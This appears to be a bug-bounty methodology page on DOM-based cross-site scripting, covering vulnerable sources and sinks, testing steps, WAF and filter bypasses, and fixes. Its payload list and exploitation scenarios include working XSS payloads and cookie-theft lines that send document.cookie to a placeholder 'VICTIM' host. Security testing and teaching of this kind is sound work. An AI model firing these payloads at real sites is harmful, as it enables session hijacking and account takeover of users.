ShulkwiSEC/bb-huge / skills/curated/dom-xss
dom-xss
VerifiedDOM-based XSS occurs when JavaScript reads attacker-controlled sources (`location.hash`, `document.referrer`, `window.name`, `location.search`) and passes them to dangerous sinks (`document.write`, `innerHTML`, `eval`, `location.href`, `setTimeout`, `jQuery.html()`) without sanitization. Unlike reflected/stored XSS, payloads never reach the server. Detect by auditing JavaScript for tainted data flow from DOM sources to sinks. Tools: Burp Suite DOM Invader, Chrome DevTools, DOMPurify (fix).
DOM-Based Cross-Site Scripting (XSS)
What Is Broken and Why
DOM XSS arises when client-side JavaScript takes data from a controllable source (URL fragment, query string, referrer, postMessage, cookie) and writes it to a dangerous sink that interprets HTML or executes code, all without the data ever being sent to or processed by the server. This means server-side output encoding does not prevent it, and proxy-based scanners may miss it entirely. The root cause is JavaScript treating user-controlled DOM properties as trusted content.
Key Signals
- JavaScript reading from:
location.hash,location.search,location.href,document.referrer,window.name,document.cookie,postMessageevent data - JavaScript writing to:
document.write(),innerHTML,outerHTML,insertAdjacentHTML,eval(),setTimeout(string),setInterval(string),location.href = ...,srcattribute assignment,jQuery.html(),jQuery.append() - Single-page applications (SPAs) with client-side routing
- JavaScript dynamically building page content from URL parameters
- Event handler attributes set from JavaScript using string-based eval-equivalent constructs
Methodology
- Crawl the application and collect all JavaScript files, inline scripts, and event handlers.
- Search for DOM source references:
location.hash,location.search,document.referrer,window.name. - Trace data flow from each source to identify all sinks it reaches.
- Identify the context in which the sink operates (HTML, JavaScript, URL, CSS).
- Craft a context-appropriate payload and deliver via the controllable source.
- Test in a real browser — automated tools miss browser-behavior-dependent execution.
- Pay attention to: script execution in event handlers, off-site CSS/script includes, SPA route handling.
Payloads & Tools
# Fragment-based DOM XSS (payload never sent to server)
TARGET/page#<script>alert(1)</script>
TARGET/page#<img src=x onerror=alert(document.cookie)>
# Hash-based with document.write sink
# Vulnerable code: document.write("Location: " + document.location.href)
TARGET/page#<script>alert(1)</script>
# innerHTML sink via URL parameter
# Vulnerable code: document.getElementById('x').innerHTML = location.hash.substring(1)
TARGET/page#<img src=x onerror=alert(1)>
# eval() sink
# Vulnerable code: eval('var x = "' + location.hash.substring(1) + '"')
TARGET/page#"; alert(1); var y="
# location.href sink (open redirect + XSS)
# Vulnerable code: window.location = decodeURIComponent(location.hash.substring(1))
TARGET/page#javascript:alert(document.cookie)
# jQuery .html() sink
TARGET/page?search=<img src=x onerror=alert(1)>
# document.write with script src
TARGET/page?lang=<script src=//VICTIM/xss.js>
# window.name trick (survives navigation)
# Attacker page sets: window.name = "<img src=x onerror=alert(1)>"
# Victim app reads: document.getElementById('x').innerHTML = window.name
# postMessage XSS
# Attacker sends: targetWindow.postMessage("<img src=x onerror=alert(1)>", "*")
# Victim app: window.addEventListener("message", (e) => { div.innerHTML = e.data; })
# Burp DOM Invader
# Enable in Burp's embedded browser -> Extensions -> DOM Invader
# Automatically injects canary into all sources and monitors sinks
# Manual Chrome DevTools approach
# Sources tab: search all JS for: innerHTML, document.write, eval, location
# Console: monitor with: Object.defineProperty(document, 'cookie', {get: () => {debugger; return ''}})
Bypass Techniques
- Fragment (
#) payloads are not sent to server, bypassing server-side WAFs and filters javascript:URI scheme in href/src sinks when<script>tags are filtered- Event handlers in injected HTML:
<img onerror=...>,<svg onload=...>,<body onpageshow=...> innerHTMLdoes not execute<script>tags directly — use event handler payloads instead- Encoding in fragment:
%3Cscript%3Emay be decoded bydecodeURIComponent()before reaching sink window.namepersists across cross-origin navigations — attacker page can set itpostMessagewith missing or weak origin validation (see web messaging skill)- Template literal injection in modern JS:
eval(\${userInput}`)`
Exploitation Scenarios
Scenario 1 — Fragment Injection via document.write
Setup: SPA reads location.hash to display a "you came from" breadcrumb using document.write().
Trigger: Victim clicks attacker link: TARGET/dashboard#<script>new Image().src='http://VICTIM/c?x='+document.cookie</script>
Impact: Session cookie exfiltrated to attacker; payload never touches server, bypasses WAF.
Scenario 2 — eval() Injection via Search Parameter
Setup: JavaScript parses location.search and uses eval() to set a variable from the theme parameter.
Trigger: TARGET/page?theme=dark";fetch('http://VICTIM/?c='+document.cookie);//
Impact: Arbitrary JavaScript executed; session stolen.
Scenario 3 — innerHTML Sink via jQuery
Setup: jQuery-based page loads product description from #description fragment into $('#content').html().
Trigger: TARGET/product#<img src=x onerror="document.location='http://VICTIM/steal?c='+document.cookie">
Impact: Cookie exfiltration; attacker can perform any action as the victim user.
False Positives
- Payload in fragment reflected in source but not reaching a dangerous sink (rendered as text only)
innerHTMLassigned a value that is HTML-encoded before assignment (escaping happening in JS)- DOMPurify or similar sanitizer stripping dangerous content before sink assignment
- CSP blocking inline script execution even when payload reaches sink
eval()present in code but receiving only developer-controlled or whitelisted input
Fix Patterns
- Use
textContentorinnerTextinstead ofinnerHTMLwhen inserting user-controlled data as plain text - When HTML insertion is required, sanitize with DOMPurify:
element.innerHTML = DOMPurify.sanitize(userInput) - Avoid
eval(),setTimeout(string),setInterval(string)with user-controlled data - Validate and sanitize
postMessageevent data; always checkevent.originbefore processing - For URL redirects: use an allowlist of permitted destinations; never pass
javascript:tolocation.href - Content Security Policy:
script-src 'self'prevents execution of injected scripts - Use frameworks with auto-escaping (React, Angular) which avoid direct DOM manipulation by default
Related Skills
DOM XSS is a distinct exploit path from [[xss-reflected]] and [[xss-stored]] because the payload never reaches the server — a purely client-side taint flow. [[cspt]] frequently lands in a DOM XSS sink: a path traversal that redirects a fetch() to an attacker-controlled URL can return a payload that gets written to innerHTML. A [[cors-misconfig]] that lets cross-origin reads succeed enables exfiltrating data from DOM XSS contexts by relaying the stolen content through the attacker's domain.
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